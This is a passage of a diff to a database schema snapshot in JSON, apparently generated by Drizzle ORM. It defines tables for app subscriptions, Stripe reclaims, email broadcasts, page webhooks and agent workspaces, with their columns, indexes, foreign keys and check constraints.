+ "value": "\"published_apps\".\"awakeSecondsToday\" >= 0"
+ },
+ "published_apps_awake_counter_needs_day": {
+ "name": "published_apps_awake_counter_needs_day",
+ "value": "\"published_apps\".\"awakeSecondsDay\" IS NOT NULL OR \"published_apps\".\"awakeSecondsToday\" = 0"
+ },
+ "published_apps_awake_window_needs_wake": {
+ "name": "published_apps_awake_window_needs_wake",
+ "value": "\"published_apps\".\"awakeBilledThrough\" IS NULL OR \"published_apps\".\"lastWakeAt\" IS NOT NULL"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.published_app_subscriptions": {
+ "name": "published_app_subscriptions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "publishedAppId": {
+ "name": "publishedAppId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "orgId": {
+ "name": "orgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stripeSubscriptionId": {
+ "name": "stripeSubscriptionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stripePriceId": {
+ "name": "stripePriceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "guestPreset": {
+ "name": "guestPreset",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stripeEventCreated": {
+ "name": "stripeEventCreated",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "currentPeriodStart": {
+ "name": "currentPeriodStart",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "currentPeriodEnd": {
+ "name": "currentPeriodEnd",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "cancelAtPeriodEnd": {
+ "name": "cancelAtPeriodEnd",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "published_app_subscriptions_user_idx": {
+ "name": "published_app_subscriptions_user_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "published_app_subscriptions_org_idx": {
+ "name": "published_app_subscriptions_org_idx",
+ "columns": [
+ {
+ "expression": "orgId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "published_app_subscriptions_stripe_subscription_idx": {
+ "name": "published_app_subscriptions_stripe_subscription_idx",
+ "columns": [
+ {
+ "expression": "stripeSubscriptionId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "published_app_subscriptions_publishedAppId_published_apps_id_fk": {
+ "name": "published_app_subscriptions_publishedAppId_published_apps_id_fk",
+ "tableFrom": "published_app_subscriptions",
+ "tableTo": "published_apps",
+ "columnsFrom": [
+ "publishedAppId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "published_app_subscriptions_userId_users_id_fk": {
+ "name": "published_app_subscriptions_userId_users_id_fk",
+ "tableFrom": "published_app_subscriptions",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "published_app_subscriptions_orgId_organizations_id_fk": {
+ "name": "published_app_subscriptions_orgId_organizations_id_fk",
+ "tableFrom": "published_app_subscriptions",
+ "tableTo": "organizations",
+ "columnsFrom": [
+ "orgId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "published_app_subscriptions_publishedAppId_unique": {
+ "name": "published_app_subscriptions_publishedAppId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "publishedAppId"
+ ]
+ },
+ "published_app_subscriptions_stripeSubscriptionId_unique": {
+ "name": "published_app_subscriptions_stripeSubscriptionId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "stripeSubscriptionId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "published_app_subscriptions_status_nonempty": {
+ "name": "published_app_subscriptions_status_nonempty",
+ "value": "length(\"published_app_subscriptions\".\"status\") > 0"
+ },
+ "published_app_subscriptions_period_ordered": {
+ "name": "published_app_subscriptions_period_ordered",
+ "value": "\"published_app_subscriptions\".\"currentPeriodEnd\" >= \"published_app_subscriptions\".\"currentPeriodStart\""
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.app_hosting_stripe_reclaims": {
+ "name": "app_hosting_stripe_reclaims",
+ "schema": "",
+ "columns": {
+ "stripeSubscriptionId": {
+ "name": "stripeSubscriptionId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "publishedAppId": {
+ "name": "publishedAppId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cancelAt": {
+ "name": "cancelAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'now'"
+ },
+ "recordedAt": {
+ "name": "recordedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "attempts": {
+ "name": "attempts",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "lastAttemptAt": {
+ "name": "lastAttemptAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastError": {
+ "name": "lastError",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "app_hosting_stripe_reclaims_recorded_at_idx": {
+ "name": "app_hosting_stripe_reclaims_recorded_at_idx",
+ "columns": [
+ {
+ "expression": "recordedAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "app_hosting_stripe_reclaims_attempts_nonneg": {
+ "name": "app_hosting_stripe_reclaims_attempts_nonneg",
+ "value": "\"app_hosting_stripe_reclaims\".\"attempts\" >= 0"
+ },
+ "app_hosting_stripe_reclaims_cancel_at_known": {
+ "name": "app_hosting_stripe_reclaims_cancel_at_known",
+ "value": "\"app_hosting_stripe_reclaims\".\"cancelAt\" IN ('now', 'period_end')"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.broadcast_recipients": {
+ "name": "broadcast_recipients",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "broadcast_id": {
+ "name": "broadcast_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "recipient_email": {
+ "name": "recipient_email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "broadcast_recipient_status",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'pending'"
+ },
+ "skip_reason": {
+ "name": "skip_reason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "error_message": {
+ "name": "error_message",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "attempts": {
+ "name": "attempts",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "sent_at": {
+ "name": "sent_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "claimed_at": {
+ "name": "claimed_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "claimed_by": {
+ "name": "claimed_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "broadcast_recipients_broadcast_user_unique": {
+ "name": "broadcast_recipients_broadcast_user_unique",
+ "columns": [
+ {
+ "expression": "broadcast_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "broadcast_recipients_broadcast_status_idx": {
+ "name": "broadcast_recipients_broadcast_status_idx",
+ "columns": [
+ {
+ "expression": "broadcast_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "broadcast_recipients_broadcast_id_email_broadcasts_id_fk": {
+ "name": "broadcast_recipients_broadcast_id_email_broadcasts_id_fk",
+ "tableFrom": "broadcast_recipients",
+ "tableTo": "email_broadcasts",
+ "columnsFrom": [
+ "broadcast_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "broadcast_recipients_user_id_users_id_fk": {
+ "name": "broadcast_recipients_user_id_users_id_fk",
+ "tableFrom": "broadcast_recipients",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.broadcast_templates": {
+ "name": "broadcast_templates",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "subject": {
+ "name": "subject",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "body_markdown": {
+ "name": "body_markdown",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "is_active": {
+ "name": "is_active",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "created_by_user_id": {
+ "name": "created_by_user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "broadcast_templates_active_idx": {
+ "name": "broadcast_templates_active_idx",
+ "columns": [
+ {
+ "expression": "is_active",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "broadcast_templates_created_by_user_id_users_id_fk": {
+ "name": "broadcast_templates_created_by_user_id_users_id_fk",
+ "tableFrom": "broadcast_templates",
+ "tableTo": "users",
+ "columnsFrom": [
+ "created_by_user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.email_broadcasts": {
+ "name": "email_broadcasts",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "subject": {
+ "name": "subject",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "engine": {
+ "name": "engine",
+ "type": "email_broadcast_engine",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'transactional'"
+ },
+ "content_mode": {
+ "name": "content_mode",
+ "type": "email_broadcast_content_mode",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'compose'"
+ },
+ "template_id": {
+ "name": "template_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "body_markdown": {
+ "name": "body_markdown",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "notification_type": {
+ "name": "notification_type",
+ "type": "NotificationType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'PRODUCT_UPDATE'"
+ },
+ "audience_definition": {
+ "name": "audience_definition",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'{}'::jsonb"
+ },
+ "status": {
+ "name": "status",
+ "type": "email_broadcast_status",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'draft'"
+ },
+ "dry_run": {
+ "name": "dry_run",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "send_limit": {
+ "name": "send_limit",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "delay_ms": {
+ "name": "delay_ms",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 120
+ },
+ "total_targeted": {
+ "name": "total_targeted",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "sent_count": {
+ "name": "sent_count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "skipped_count": {
+ "name": "skipped_count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "failed_count": {
+ "name": "failed_count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "step_results": {
+ "name": "step_results",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "job_id": {
+ "name": "job_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "attempts": {
+ "name": "attempts",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "last_error": {
+ "name": "last_error",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "blocked_reason": {
+ "name": "blocked_reason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_by_user_id": {
+ "name": "created_by_user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "started_at": {
+ "name": "started_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "completed_at": {
+ "name": "completed_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "email_broadcasts_status_idx": {
+ "name": "email_broadcasts_status_idx",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "email_broadcasts_created_at_idx": {
+ "name": "email_broadcasts_created_at_idx",
+ "columns": [
+ {
+ "expression": "created_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "email_broadcasts_created_by_idx": {
+ "name": "email_broadcasts_created_by_idx",
+ "columns": [
+ {
+ "expression": "created_by_user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "email_broadcasts_template_id_broadcast_templates_id_fk": {
+ "name": "email_broadcasts_template_id_broadcast_templates_id_fk",
+ "tableFrom": "email_broadcasts",
+ "tableTo": "broadcast_templates",
+ "columnsFrom": [
+ "template_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "email_broadcasts_created_by_user_id_users_id_fk": {
+ "name": "email_broadcasts_created_by_user_id_users_id_fk",
+ "tableFrom": "email_broadcasts",
+ "tableTo": "users",
+ "columnsFrom": [
+ "created_by_user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.page_webhooks": {
+ "name": "page_webhooks",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "webhookToken": {
+ "name": "webhookToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "webhookSecretEncrypted": {
+ "name": "webhookSecretEncrypted",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "isEnabled": {
+ "name": "isEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "createdBy": {
+ "name": "createdBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ownerLeftAt": {
+ "name": "ownerLeftAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "lastFiredAt": {
+ "name": "lastFiredAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastFireError": {
+ "name": "lastFireError",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "page_webhooks_page_id_idx": {
+ "name": "page_webhooks_page_id_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "page_webhooks_token_idx": {
+ "name": "page_webhooks_token_idx",
+ "columns": [
+ {
+ "expression": "webhookToken",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "page_webhooks_pageId_pages_id_fk": {
+ "name": "page_webhooks_pageId_pages_id_fk",
+ "tableFrom": "page_webhooks",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "page_webhooks_createdBy_users_id_fk": {
+ "name": "page_webhooks_createdBy_users_id_fk",
+ "tableFrom": "page_webhooks",
+ "tableTo": "users",
+ "columnsFrom": [
+ "createdBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "page_webhooks_webhookToken_unique": {
+ "name": "page_webhooks_webhookToken_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "webhookToken"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.agent_workspace_shells": {
+ "name": "agent_workspace_shells",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "workspaceId": {
+ "name": "workspaceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "ownerId": {
+ "name": "ownerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "agentType": {
+ "name": "agentType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "spriteExecId": {
+ "name": "spriteExecId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "coldTail": {
+ "name": "coldTail",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "coldTailAt": {
+ "name": "coldTailAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "coldTailHasOutput": {
+ "name": "coldTailHasOutput",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "agent_workspace_shells_workspace_id_idx": {
+ "name": "agent_workspace_shells_workspace_id_idx",
+ "columns": [
+ {
+ "expression": "workspaceId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "agent_workspace_shells_workspace_name_idx": {
+ "name": "agent_workspace_shells_workspace_name_idx",
+ "columns": [
+ {
+ "expression": "workspaceId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "name",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "agent_workspace_shells_workspaceId_agent_workspaces_id_fk": {
+ "name": "agent_workspace_shells_workspaceId_agent_workspaces_id_fk",
+ "tableFrom": "agent_workspace_shells",
+ "tableTo": "agent_workspaces",
+ "columnsFrom": [
+ "workspaceId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "agent_workspace_shells_ownerId_users_id_fk": {
+ "name": "agent_workspace_shells_ownerId_users_id_fk",
+ "tableFrom": "agent_workspace_shells",
+ "tableTo": "users",
+ "columnsFrom": [
+ "ownerId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.agent_workspaces": {
+ "name": "agent_workspaces",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ownerId": {
+ "name": "ownerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "envId": {
+ "name": "envId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "spriteKey": {
+ "name": "spriteKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sandboxId": {
+ "name": "sandboxId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "spriteInstanceId": {
+ "name": "spriteInstanceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "egressPolicyToken": {
+ "name": "egressPolicyToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "teardownRequestedAt": {
+ "name": "teardownRequestedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "spriteTornDownAt": {
+ "name": "spriteTornDownAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "storageLastBilledAt": {
+ "name": "storageLastBilledAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "storageMeasuredBytes": {
+ "name": "storageMeasuredBytes",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "storageMeasuredAt": {
+ "name": "storageMeasuredAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastActiveAt": {
+ "name": "lastActiveAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endedAt": {
+ "name": "endedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "agent_workspaces_drive_id_idx": {
+ "name": "agent_workspaces_drive_id_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "agent_workspaces_owner_id_idx": {
+ "name": "agent_workspaces_owner_id_idx",
+ "columns": [
+ {
+ "expression": "ownerId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "agent_workspaces_live_sprite_idx": {
+ "name": "agent_workspaces_live_sprite_idx",
+ "columns": [
+ {
+ "expression": "sandboxId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "spriteTornDownAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "\"agent_workspaces\".\"sandboxId\" IS NOT NULL AND \"agent_workspaces\".\"spriteTornDownAt\" IS NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "agent_workspaces_env_id_idx": {
+ "name": "agent_workspaces_env_id_idx",
+ "columns": [
+ {
+ "expression": "envId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "agent_workspaces_driveId_drives_id_fk": {
+ "name": "agent_workspaces_driveId_drives_id_fk",
+ "tableFrom": "agent_workspaces",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "agent_workspaces_ownerId_users_id_fk": {
+ "name": "agent_workspaces_ownerId_users_id_fk",
+ "tableFrom": "agent_workspaces",
+ "tableTo": "users",
+ "columnsFrom": [
+ "ownerId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "agent_workspaces_envId_drive_envs_id_fk": {
+ "name": "agent_workspaces_envId_drive_envs_id_fk",
+ "tableFrom": "agent_workspaces",
+ "tableTo": "drive_envs",
+ "columnsFrom": [
+ "envId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "agent_workspaces_env_no_sprite_check": {
+ "name": "agent_workspaces_env_no_sprite_check",
+ "value": "\"agent_workspaces\".\"envId\" IS NULL OR (\"agent_workspaces\".\"sandboxId\" IS NULL AND \"agent_workspaces\".\"spriteKey\" IS NULL AND \"agent_workspaces\".\"spriteInstanceId\" IS NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.agent_workspace_node_revs": {
+ "name": "agent_workspace_node_revs",
+ "schema": "",
+ "columns": {
+ "rootId": {
+ "name": "rootId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "rev": {
+ "name": "rev",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": true,
